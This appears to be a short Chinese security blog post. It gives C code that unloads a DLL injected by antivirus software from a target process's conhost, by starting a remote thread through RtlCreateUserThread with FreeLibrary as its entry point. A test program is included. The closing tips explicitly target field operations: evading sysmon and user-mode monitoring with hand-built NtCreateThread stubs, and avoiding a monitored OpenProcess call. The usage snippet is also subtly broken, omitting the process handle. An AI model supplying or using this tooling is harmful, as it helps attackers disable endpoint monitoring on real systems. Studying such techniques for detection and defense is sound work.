朋友遇到个环境:命令行程序被杀软注入dll到自身的conhost中(猜测是年初火眼公开的命令行输出监控?),需要对远程进程调用FreeLibrary,简单封装了个函数,勉强能用。
typedef NTSTATUS(WINAPI * _RtlCreateUserThread)(
HANDLE ProcessHandle,
PSECURITY_DESCRIPTOR SecurityDescriptor,
BOOL CreateSuspended,
ULONG StackZeroBits,
PULONG StackReserved,
PULONG StackCommit,
LPVOID StartAddress,
LPVOID StartParameter,
PHANDLE ThreadHandle,
LPVOID ClientID
);
typedef ULONG(WINAPI * _RtlNtStatusToDosError)(
NTSTATUS Status
);
BOOL RemoteFreeLibrary(HANDLE hProc, LPWSTR pwszModule)
{
if (!hProc) { return false; }
if (!pwszModule) { return false; }
HMODULE hm = LoadLibraryW(pwszModule);
if (!hm) { return false; }
HANDLE ht = 0;
HMODULE hmNtdll = GetModuleHandle(L"ntdll.dll");
_RtlCreateUserThread RtlCreateUserThread = (_RtlCreateUserThread)GetProcAddress(hmNtdll, "RtlCreateUserThread");
_RtlNtStatusToDosError RtlNtStatusToDosError= (_RtlNtStatusToDosError)GetProcAddress(hmNtdll, "RtlNtStatusToDosError");
if (!RtlCreateUserThread || !RtlNtStatusToDosError){ return false; }
NTSTATUS status = RtlCreateUserThread(hProc, 0, false, 0, 0, 0, FreeLibrary, hm, &ht, 0);
if (!NT_SUCCESS(status))
{
SetLastError(RtlNtStatusToDosError(status));
return false;
}
CloseHandle(ht);
return true;
}调用:
EnablePrivilge(SE_DEBUG_NAME);
HANDLE hProc = OpenProcess(MAXIMUM_ALLOWED, false, pid);
if(hProc)
{
RemoteFreeLibrary(L"dbgeng.dll");
}测试程序:
#include <Windows.h>
int main()
{
LoadLibraryW(L"dbgeng.dll");
printf("%d\n",GetCurrentProcessId());
while (true)
{
printf("hm= %#p\n",GetModuleHandleW(L"dbgeng.dll"));
Sleep(1000);
}
return 0;
}实战使用时需要注意的几点:
1.没加入wow64到x64的切换。考虑到实战中x64环境以及工具居多,遇到再说吧。
2.同Session用CreateRemoteThread也可以,不过无论是CreateRemoteThread或是RtlCreateUserThread基本属于会被监控的API范畴,比如大规模部署的sysmon……最好的方法还是手动加载ntdll,构造NtCreateThread的stub,必要时候切换到x64,最后调用。这样至少能规避r3层面的监控吧……
3.OpenProcess也较为敏感,找一些黑科技代替吧。

